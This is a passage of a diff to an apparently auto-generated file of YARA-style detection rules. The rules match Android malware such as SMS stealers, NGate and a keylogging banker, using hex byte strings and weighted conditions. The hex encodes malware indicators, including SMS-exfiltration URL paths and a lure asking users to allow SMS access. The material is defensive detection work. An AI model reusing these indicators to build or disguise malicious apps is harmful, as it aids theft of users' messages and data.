6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 6d 6f 6e 74 2e 49 21 4d 54 42 00 01 00 19 01 72 75 2f 70 75 74 69 73 68 61 2f 61 70 70 2f 53 6d 73 53 65 72 76 69 63 65 01 00 13 01 67 65 74 5f 6d 65 } //21539 - $a_67_1 = {5f 68 69 73 74 6f 72 79 01 00 0d 01 53 6d 73 53 75 62 4d 61 70 70 69 6e 67 01 00 11 01 67 65 74 5f 63 61 6c 6c 73 5f 68 69 73 74 6f 72 79 01 00 0e 01 d0 9d d0 9e d0 92 d0 9e d0 95 20 53 4d 53 00 00 be 98 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f } //29555 - $a_6f_2 = {74 72 61 74 2e 41 00 02 00 0f 01 2f 72 74 70 2d 77 65 62 2d 61 64 6d 69 6e 2f 02 00 21 01 53 63 72 65 65 6e 53 68 61 72 69 6e 67 53 65 72 76 69 63 65 20 67 6f 74 20 63 6f 6d 6d 61 6e 64 3a 02 00 1c 01 53 63 72 65 } //12115 - $a_68_3 = {72 69 6e 67 53 65 72 76 69 63 65 3a 20 77 69 64 74 68 3d 02 00 13 01 61 6c 69 67 6e 53 63 72 65 65 6e 46 6f 72 43 6f 64 65 63 00 00 be 99 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 } //28261 - $a_41_4 = {21 4d 54 42 00 01 00 2c 03 6f 20 06 0c 32 00 12 10 6e 20 24 0c 02 00 6e 10 fb 0b 02 00 0c 00 13 01 00 04 6e 30 90 01 01 18 10 01 12 30 6e } //26739 - condition: - ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*29555+(#a_6f_2 & 1)*12115+(#a_68_3 & 1)*28261+(#a_41_4 & 1)*26739) >=5 - -} -rule _InfrastructureShared_24743{ +rule _InfrastructureShared_26044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 04 00 21 " @@ -324046,7 +340732,7 @@ rule _InfrastructureShared_24743{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28015+(#a_6f_2 & 1)*11264+(#a_6e_3 & 1)*4608) >=8 } -rule _InfrastructureShared_24744{ +rule _InfrastructureShared_26045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -324057,7 +340743,7 @@ rule _InfrastructureShared_24744{ ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*272) >=2 } -rule _InfrastructureShared_24745{ +rule _InfrastructureShared_26046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -324068,7 +340754,7 @@ rule _InfrastructureShared_24745{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*155) >=2 } -rule _InfrastructureShared_24746{ +rule _InfrastructureShared_26047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -324080,7 +340766,7 @@ rule _InfrastructureShared_24746{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28483+(#a_21_2 & 1)*21025) >=3 } -rule _InfrastructureShared_24747{ +rule _InfrastructureShared_26048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -324093,7 +340779,7 @@ rule _InfrastructureShared_24747{ ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*27745+(#a_6c_2 & 1)*18034+(#a_53_3 & 1)*8993) >=4 } -rule _InfrastructureShared_24748{ +rule _InfrastructureShared_26049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324108,7 +340794,7 @@ rule _InfrastructureShared_24748{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28751+(#a_63_2 & 1)*307+(#a_65_3 & 1)*28787+(#a_01_4 & 1)*29801+(#a_6f_5 & 1)*12115) >=6 } -rule _InfrastructureShared_24749{ +rule _InfrastructureShared_26050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -324119,7 +340805,7 @@ rule _InfrastructureShared_24749{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*28515) >=10 } -rule _InfrastructureShared_24750{ +rule _InfrastructureShared_26051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324132,7 +340818,7 @@ rule _InfrastructureShared_24750{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29281+(#a_2f_2 & 1)*28515+(#a_50_4 & 1)*8448) >=5 } -rule _InfrastructureShared_24751{ +rule _InfrastructureShared_26052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324146,7 +340832,7 @@ rule _InfrastructureShared_24751{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*20992+(#a_65_2 & 1)*28524+(#a_00_3 & 1)*0+(#a_23_4 & 1)*2) >=5 } -rule _InfrastructureShared_24752{ +rule _InfrastructureShared_26053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 07 00 21 " @@ -324160,7 +340846,7 @@ rule _InfrastructureShared_24752{ ((#a_41_0 & 1)*20515+(#a_5f_1 & 1)*19795+(#a_6f_2 & 1)*12115+(#a_03_3 & 1)*780+(#a_0a_4 & 1)*-31997) >=7 } -rule _InfrastructureShared_24753{ +rule _InfrastructureShared_26054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -324171,7 +340857,7 @@ rule _InfrastructureShared_24753{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*788) >=2 } -rule _InfrastructureShared_24754{ +rule _InfrastructureShared_26055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -324182,7 +340868,7 @@ rule _InfrastructureShared_24754{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*8302) >=2 } -rule _InfrastructureShared_24755{ +rule _InfrastructureShared_26056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -324195,7 +340881,7 @@ rule _InfrastructureShared_24755{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29281+(#a_63_2 & 1)*30796+(#a_74_3 & 1)*27756) >=4 } -rule _InfrastructureShared_24756{ +rule _InfrastructureShared_26057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,1e 00 1e 00 06 00 21 " @@ -324209,7 +340895,7 @@ rule _InfrastructureShared_24756{ ((#a_4c_0 & 1)*21539+(#a_64_2 & 1)*29548+(#a_50_3 & 1)*19521+(#a_41_4 & 1)*26735+(#a_42_5 & 1)*19745) >=30 } -rule _InfrastructureShared_24757{ +rule _InfrastructureShared_26058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 05 00 21 " @@ -324223,7 +340909,7 @@ rule _InfrastructureShared_24757{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25665+(#a_00_2 & 1)*21581+(#a_62_3 & 1)*27648+(#a_75_4 & 1)*28015) >=3 } -rule _InfrastructureShared_24758{ +rule _InfrastructureShared_26059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -324231,26 +340917,41 @@ rule _InfrastructureShared_24758{ $a_4c_0 = {41 6e 64 72 6f 69 64 4f 53 2f 4a 69 61 67 75 2e 43 21 4d 54 42 00 01 00 1e 00 63 6f 6d 2f 71 69 68 6f 6f 2f 75 74 69 6c 2f 53 74 75 62 41 70 70 6c 69 63 61 74 69 6f 6e 01 00 19 00 63 72 79 70 74 2e 65 6e 74 } //21539 $a_75_1 = {41 70 70 6c 69 63 61 74 69 6f 6e 01 00 08 00 6c 69 62 6a 69 61 67 75 01 00 11 00 67 65 74 4e 65 77 41 70 70 49 6e 73 74 61 6e 63 65 01 00 14 00 43 68 61 6e 67 65 54 6f 70 41 70 70 6c 69 63 61 74 69 6f 6e 00 00 be 9c 00 00 05 00 05 00 05 00 21 23 } //31090 $a_50_2 = {52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 48 69 64 64 65 6e 41 64 2e 41 21 4d 54 42 00 01 00 19 00 63 6f 6d 2f 75 6c 74 72 61 63 6f 64 65 2f 6c 69 62 72 61 72 79 63 6f 64 65 01 00 1a 00 77 69 74 68 49 } //19521 - $a_61_3 = {6c 65 64 41 70 70 43 6f 6c 6c 65 63 74 69 6e 67 01 00 10 00 6c 6f 63 61 74 69 6f 6e 54 72 61 63 6b 69 6e 67 01 00 0b 00 77 69 74 68 50 61 79 6c 6f 61 64 01 00 0b 00 70 72 65 6c 6f 61 64 49 6e 66 6f 00 00 be 9d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 54 68 69 65 66 2e 49 00 01 } //29550 + $a_61_3 = {6c 65 64 41 70 70 43 6f 6c 6c 65 63 74 69 6e 67 01 00 10 00 6c 6f 63 61 74 69 6f 6e 54 72 61 63 6b 69 6e 67 01 00 0b 00 77 69 74 68 50 61 79 6c 6f 61 64 01 00 0b 00 70 72 65 6c 6f 61 64 49 6e 66 6f 00 00 be 9c 00 00 06 00 06 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4e 47 61 74 65 2e 41 21 4d 54 42 00 02 00 22 } //29550 + $a_2f_4 = {6e 64 72 6f 69 64 5f 61 73 73 65 74 2f 70 69 6e 63 6f 64 65 2e 68 74 6d 6c 3f 70 69 6e 3d 01 00 0c 01 2f 30 2e 70 68 70 3f 68 77 69 64 3d 01 } //12033 condition: - ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*31090+(#a_50_2 & 1)*19521+(#a_61_3 & 1)*29550) >=4 + ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*31090+(#a_50_2 & 1)*19521+(#a_61_3 & 1)*29550+(#a_2f_4 & 1)*12033) >=4 } -rule _InfrastructureShared_24759{ +rule _InfrastructureShared_26060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 48 69 64 64 65 6e 41 64 2e 41 21 4d 54 42 00 01 00 19 00 63 6f 6d 2f 75 6c 74 72 61 63 6f 64 65 2f 6c 69 62 72 61 72 79 63 6f 64 65 01 00 1a 00 77 69 74 68 49 6e 73 74 61 6c } //16675 - $a_41_1 = {70 43 6f 6c 6c 65 63 74 69 6e 67 01 00 10 00 6c 6f 63 61 74 69 6f 6e 54 72 61 63 6b 69 6e 67 01 00 0b 00 77 69 74 68 50 61 79 6c 6f 61 64 01 00 0b 00 70 72 65 6c 6f 61 64 49 6e 66 6f 00 00 be 9d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 } //25964 - $a_68_2 = {65 66 2e 49 00 01 00 1b 00 61 70 69 2e 70 68 70 3f 73 69 64 3d 7b 73 69 64 7d 26 73 6d 73 3d 7b 73 6d 73 7d 01 00 14 00 63 6f 6d 2e 63 6f 6d 70 61 6e 79 2e 67 61 6d 65 6e 61 6d 65 01 00 35 00 50 6c 65 61 73 65 20 61 6c 6c 6f 77 20 53 4d 53 20 62 65 66 } //29549 - $a_20_3 = {72 6f 63 65 65 64 20 6f 72 20 72 65 69 6e 73 74 61 6c 6c 20 74 68 65 20 61 70 70 2e 00 00 be 9d 00 00 03 00 03 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 70 6c 6f 69 74 2e 41 21 4d 54 42 00 01 00 20 00 42 6c 75 69 6e 6f 4c 6f 61 64 65 72 2f 65 78 61 6d 70 6c 65 73 } //29295 - $a_64_4 = {69 6e 6f 49 53 50 01 00 16 00 2f 42 6c 75 69 6e 6f 4c 6f 61 64 65 72 2f 68 65 78 66 69 6c 65 2f 01 00 14 00 77 72 69 74 65 50 72 6f 67 72 61 6d 74 6f 73 74 72 69 6e 67 01 00 17 00 4d 61 6c 66 6f 72 6d 65 64 20 63 6c 6f 73 65 20 70 61 79 6c 6f 61 64 00 00 be 9e 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f } //16687 + $a_41_1 = {70 43 6f 6c 6c 65 63 74 69 6e 67 01 00 10 00 6c 6f 63 61 74 69 6f 6e 54 72 61 63 6b 69 6e 67 01 00 0b 00 77 69 74 68 50 61 79 6c 6f 61 64 01 00 0b 00 70 72 65 6c 6f 61 64 49 6e 66 6f 00 00 be 9c 00 00 06 00 06 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4e 47 61 74 } //25964 + $a_21_2 = {54 42 00 02 00 22 01 2f 2f 2f 61 6e 64 72 6f 69 64 5f 61 73 73 65 74 2f 70 69 6e 63 6f 64 65 2e 68 74 6d 6c 3f 70 69 6e 3d 01 00 0c 01 2f 30 2e 70 68 70 3f 68 77 69 64 3d 01 00 15 01 2f 73 65 6e } //11877 + $a_73_3 = {61 67 65 3f 63 68 61 74 5f 69 64 3d 01 00 08 01 4d 41 4d 4f 4e 54 20 23 01 00 12 03 2f 70 69 6e 5f 76 69 65 77 90 01 01 2e 70 68 70 90 00 00 00 be 9d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 54 68 69 65 66 2e 49 00 01 00 1b 00 61 70 } //19812 + $a_68_4 = {3f 73 69 64 3d 7b 73 69 64 7d 26 73 6d 73 3d 7b 73 6d 73 7d 01 00 14 00 63 6f 6d 2e 63 6f 6d 70 61 6e 79 2e 67 61 6d 65 6e 61 6d 65 01 00 35 00 50 6c 65 61 73 65 20 61 6c 6c 6f 77 20 53 4d 53 20 62 65 66 6f 72 65 20 70 72 6f 63 65 65 64 20 6f 72 20 72 65 69 6e 73 74 61 6c 6c 20 74 68 65 20 61 70 70 2e 00 00 be 9d 00 00 03 00 03 00 04 } //11881 condition: - ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*25964+(#a_68_2 & 1)*29549+(#a_20_3 & 1)*29295+(#a_64_4 & 1)*16687) >=5 + ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*25964+(#a_21_2 & 1)*11877+(#a_73_3 & 1)*19812+(#a_68_4 & 1)*11881) >=5 } -rule _InfrastructureShared_24760{ +rule _InfrastructureShared_26061{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4e 47 61 74 65 2e 41 21 4d 54 42 00 02 00 22 01 2f 2f 2f 61 6e 64 72 6f 69 64 5f 61 73 73 65 74 2f 70 69 6e 63 6f 64 65 2e 68 74 6d 6c 3f 70 69 6e 3d 01 00 } //21539 + $a_30_1 = {70 68 70 3f 68 77 69 64 3d 01 00 15 01 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 01 00 08 01 4d 41 4d 4f 4e 54 20 23 01 } //268 + $a_2f_2 = {69 6e 5f } //4608 in_ + $a_77_3 = {01 01 2e 70 68 70 90 00 00 00 be 9d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 54 68 69 65 66 2e 49 00 01 00 1b 00 61 70 69 2e 70 68 70 3f 73 69 64 3d 7b 73 69 64 7d 26 73 6d 73 3d 7b 73 6d 73 7d 01 00 14 00 63 6f 6d 2e 63 6f 6d 70 61 } //26998 + $a_67_4 = {6d 65 6e 61 6d 65 01 00 35 00 50 6c 65 61 73 65 20 61 6c 6c 6f 77 20 53 4d 53 20 62 65 66 6f 72 65 20 70 72 6f 63 65 65 64 20 6f 72 20 72 } //31086 + condition: + ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*268+(#a_2f_2 & 1)*4608+(#a_77_3 & 1)*26998+(#a_67_4 & 1)*31086) >=6 + +} +rule _InfrastructureShared_26062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -324262,7 +340963,7 @@ rule _InfrastructureShared_24760{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11897+(#a_4d_2 & 1)*16686) >=3 } -rule _InfrastructureShared_24761{ +rule _InfrastructureShared_26063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 04 00 21 " @@ -324275,7 +340976,7 @@ rule _InfrastructureShared_24761{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*12032+(#a_00_2 & 1)*24943+(#a_00_3 & 1)*1) >=3 } -rule _InfrastructureShared_24762{ +rule _InfrastructureShared_26064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324283,13 +340984,13 @@ rule _InfrastructureShared_24762{ $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 61 6e 6c 65 74 2e 42 21 4d 54 42 00 01 00 08 00 67 65 74 41 64 63 6d 64 01 00 14 00 73 65 74 52 65 63 6f 4f 74 68 65 72 41 63 74 69 76 69 74 79 01 00 0c 00 70 6f 70 41 64 } //16675 剅䠺呓㩒湁牤楯佤⽓慇汮瑥䈮䴡䉔Āࠀ最瑥摁浣Ť᐀猀瑥敒潣瑏敨䅲瑣癩瑩Źఀ瀀灯摁 $a_6e_1 = {69 67 01 00 24 00 63 6f 6d 2f 6c 65 74 61 6e 67 2f 61 70 6b 73 65 72 76 69 63 65 2f 41 64 53 68 6f 77 41 63 74 69 76 69 74 79 01 00 11 00 64 61 74 61 2e 63 6e 61 70 70 62 6f 78 2e 63 6f 6d 00 00 be 9f 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 64 70 61 63 } //25390 $a_21_2 = {54 42 00 01 00 67 01 65 00 06 6c 65 6e 67 74 68 00 04 6c 69 73 74 00 09 6c 69 73 74 46 69 6c 65 73 00 08 6d 65 74 61 44 61 74 61 00 05 6d 6b 64 69 72 00 0b 6e 65 77 49 6e 73 74 61 6e 63 65 00 0b 6e } //11883 - $a_45_3 = {65 6d 65 6e 74 00 08 6f 6e 43 72 65 61 74 65 00 0f 70 72 69 6e 74 53 74 61 63 6b 54 72 61 63 65 00 04 72 65 61 64 00 00 00 be 9f 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4b 6f 53 70 79 2e 42 21 4d 54 42 00 01 00 30 01 36 76 37 00 20 46 1f 01 38 06 33 00 71 00 9e 0d 00 00 0c 06 6e 10 9f 0d 06 00 } //30821 - $a_06_4 = {13 00 32 26 06 00 12 34 32 46 0e 00 28 22 1f 04 1f 01 01 00 3c 01 54 02 31 05 54 22 3c 05 54 04 30 05 54 05 a5 05 6e 40 03 30 42 51 0c 02 5b 02 a9 05 39 02 10 00 71 00 } //1546 + $a_45_3 = {65 6d 65 6e 74 00 08 6f 6e 43 72 65 61 74 65 00 0f 70 72 69 6e 74 53 74 61 63 6b 54 72 61 63 65 00 04 72 65 61 64 00 00 00 be 9f 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 4d 53 42 6f 6d 62 65 72 2e 41 21 4d 54 42 00 01 00 09 00 53 4d 53 42 6f 6d 62 65 72 01 00 27 00 6d 61 72 6b 65 74 2e 6e } //30821 + $a_61_4 = {63 6f 6d 2f 75 70 64 61 74 65 2f 6e 44 75 6f 61 4d 61 72 6b 65 74 2e 61 70 6b 01 00 1f 00 64 65 74 61 69 6c 73 3f 69 64 3d 6f 72 67 2e 62 61 6f 6c 65 2e 61 6e 74 69 62 6f 6d 62 65 72 01 00 10 00 64 61 70 70 2e 74 65 78 74 2e 62 6f 6d 62 65 72 00 00 be 9f 00 00 06 00 06 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f } //30052 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25390+(#a_21_2 & 1)*11883+(#a_45_3 & 1)*30821+(#a_06_4 & 1)*1546) >=5 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25390+(#a_21_2 & 1)*11883+(#a_45_3 & 1)*30821+(#a_61_4 & 1)*30052) >=5 } -rule _InfrastructureShared_24763{ +rule _InfrastructureShared_26065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,01 00 01 00 01 00 21 " @@ -324299,18 +341000,7 @@ rule _InfrastructureShared_24763{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_24764{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4b 6f 53 70 79 2e 42 21 4d 54 42 00 01 00 30 01 36 76 37 00 20 46 1f 01 38 06 33 00 71 00 9e 0d 00 00 0c 06 6e 10 9f 0d 06 00 0a 06 38 06 13 00 32 26 06 00 } //21539 - $a_46_1 = {00 28 22 1f 04 1f 01 01 00 3c 01 54 02 31 05 54 22 3c 05 54 04 30 05 54 05 a5 05 6e 40 03 30 42 51 0c 02 5b 02 a9 05 39 02 10 00 71 00 de 2f 00 00 0c } //13330 - condition: - ((#a_4c_0 & 1)*21539+(#a_46_1 & 1)*13330) >=2 - -} -rule _InfrastructureShared_24765{ +rule _InfrastructureShared_26066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -324323,7 +341013,7 @@ rule _InfrastructureShared_24765{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*30020+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_24766{ +rule _InfrastructureShared_26067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 07 00 21 " @@ -324333,13 +341023,13 @@ rule _InfrastructureShared_24766{ $a_74_2 = {65 76 63 69 65 01 00 0e 00 74 61 6b 65 53 63 72 65 65 6e 73 68 6f 74 01 00 0e 00 4c 63 6f 6d 2f 68 69 6c 61 6c 2f 61 64 6d 01 00 0e 02 77 73 3a 2f 2f 90 02 20 2f 55 70 64 90 00 00 00 be a0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 48 69 64 64 61 64 2e } //18176 $a_54_3 = {00 01 00 28 01 54 60 22 4b 1a 01 7b ae 71 20 87 ba 10 00 0a 00 12 01 71 10 70 99 01 00 0c 01 12 12 71 10 70 99 02 00 0c 03 38 00 1c 00 01 00 44 01 22 00 d2 12 70 10 d8 9a 00 00 1a 01 64 ac 6e 20 e4 9a 10 00 54 61 1e 4b 6e 20 e3 9a } //8521 $a_01_4 = {1e 1a 6e 20 e4 9a 10 00 54 61 18 4b 6e 20 e3 9a 10 00 6e 10 f4 9a 00 00 0c 00 } //16 - $a_68_5 = {20 01 71 01 00 00 00 be a0 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 } //282 - $a_3a_6 = {6e 64 72 6f 69 64 4f 53 2f 4e 6f 6d 69 62 69 2e 43 21 4d 54 42 00 01 00 0d 00 61 70 69 2e 39 61 70 70 73 2e 63 6f 6d 01 00 0b 01 41 44 5f 41 50 50 5f 4c 49 53 54 01 00 13 00 73 74 61 72 74 53 69 6c 65 6e 74 44 6f 77 6e 6c 6f 61 64 01 00 0f 00 2f } //21587 + $a_68_5 = {20 01 71 01 00 00 00 be a0 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a } //282 + $a_41_6 = {64 72 6f 69 64 4f 53 2f 4c 6f 63 6b 53 63 72 65 65 6e 2e 46 21 4d 54 42 00 01 00 2e 01 1a 09 72 00 71 10 4a 00 09 00 0c 09 70 30 12 00 87 09 07 63 07 36 15 07 00 10 6e 20 14 } //28257 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26479+(#a_74_2 & 1)*18176+(#a_54_3 & 1)*8521+(#a_01_4 & 1)*16+(#a_68_5 & 1)*282+(#a_3a_6 & 1)*21587) >=6 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26479+(#a_74_2 & 1)*18176+(#a_54_3 & 1)*8521+(#a_01_4 & 1)*16+(#a_68_5 & 1)*282+(#a_41_6 & 1)*28257) >=6 } -rule _InfrastructureShared_24767{ +rule _InfrastructureShared_26068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -324349,7 +341039,18 @@ rule _InfrastructureShared_24767{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_24768{ +rule _InfrastructureShared_26069{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4c 6f 63 6b 53 63 72 65 65 6e 2e 46 21 4d 54 42 00 01 00 2e 01 1a 09 72 00 71 10 4a 00 09 00 0c 09 70 30 12 00 87 09 07 63 07 36 15 07 00 10 6e 20 14 00 76 } //21539 + $a_07_1 = {16 07 37 6e 20 0f } //3072 ܖ渷༠ + condition: + ((#a_4c_0 & 1)*21539+(#a_07_1 & 1)*3072) >=2 + +} +rule _InfrastructureShared_26070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324361,7 +341062,7 @@ rule _InfrastructureShared_24768{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29806+(#a_41_4 & 1)*8448) >=5 } -rule _InfrastructureShared_24769{ +rule _InfrastructureShared_26071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324375,7 +341076,7 @@ rule _InfrastructureShared_24769{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25459+(#a_72_2 & 1)*28672+(#a_72_3 & 1)*27502+(#a_41_4 & 1)*275) >=5 } -rule _InfrastructureShared_24770{ +rule _InfrastructureShared_26072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324389,7 +341090,7 @@ rule _InfrastructureShared_24770{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*28531+(#a_21_2 & 1)*11897+(#a_70_3 & 1)*24948+(#a_75_4 & 1)*28526) >=5 } -rule _InfrastructureShared_24771{ +rule _InfrastructureShared_26073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -324403,7 +341104,7 @@ rule _InfrastructureShared_24771{ ((#a_4c_0 & 1)*21539+(#a_55_1 & 1)*29795+(#a_4d_2 & 1)*16942+(#a_6d_3 & 1)*11+(#a_43_4 & 1)*25931) >=4 } -rule _InfrastructureShared_24772{ +rule _InfrastructureShared_26074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -324416,7 +341117,7 @@ rule _InfrastructureShared_24772{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*12135+(#a_77_3 & 1)*24932+(#a_52_4 & 1)*20294) >=5 } -rule _InfrastructureShared_24773{ +rule _InfrastructureShared_26075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 21 " @@ -324430,7 +341131,7 @@ rule _InfrastructureShared_24773{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*28271+(#a_42_2 & 1)*21327+(#a_64_3 & 1)*25939+(#a_65_5 & 1)*25344) >=5 } -rule _InfrastructureShared_24774{ +rule _InfrastructureShared_26076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -324438,28 +341139,37 @@ rule _InfrastructureShared_24774{ $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 65 72 2e 54 21 4d 54 42 00 01 00 0a 00 53 65 6e 64 4b 65 79 6c 6f 67 01 00 0b 00 73 65 6e 64 4c 6f 67 44 61 74 61 01 00 09 00 53 6d 73 53 65 